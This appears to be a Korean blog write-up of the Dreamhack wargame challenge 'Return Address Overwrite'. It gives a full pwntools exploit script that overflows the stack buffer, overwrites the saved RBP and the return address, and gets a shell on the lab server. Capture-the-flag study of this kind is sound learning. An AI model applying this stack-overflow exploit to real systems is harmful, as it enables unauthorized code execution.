https://dreamhack.io/wargame/challenges/351
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
dreamhack.io
강의내용과 숫자까지 완전히 똑같은 문제라 어떻게 풀어야 할지는 강의에 다 나와있다. 스택프레임이 어디까지 확장되어있는지만 disassemble을 통해서 확인한 후 saved rbp 즉 sfp까지 포함해서 덮어쓰면 된다.
다만 이걸 바이트코드 형태로 넘겨줘야하는데, shell_basic에서 했던 pwntools을 통해 넘겨주면 된다.
#!/usr/bin/env python3
from pwn import *
context.arch="amd64"
p=remote("host3.dreamhack.games",14267)
shellcode=b'A'*0x30+b'B'*0x08+b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ",shellcode)
p.interactive()
쉘에 대한 권한을 취득해야하는 문제이므로 interactive를 통해서 살펴봐야한다. 어떤 함수를 써야하는지에 대한 내용은 pwntools의 깃헙에서 확인하거나 드림핵 강의(https://learn.dreamhack.io/59#4) 에서도 확인할 수 있다.
[참고]



쉘에 대한 권한을 취득하면 ls을 통해서 flag 유무를 확인가능하다.
'Security > System Security' 카테고리의 다른 글
| [Dreamhack] shell_basic 문제풀이 (0) | 2024.10.12 |
|---|---|
| [어셈블리어] 데이터 전달 방식 (0) | 2024.10.11 |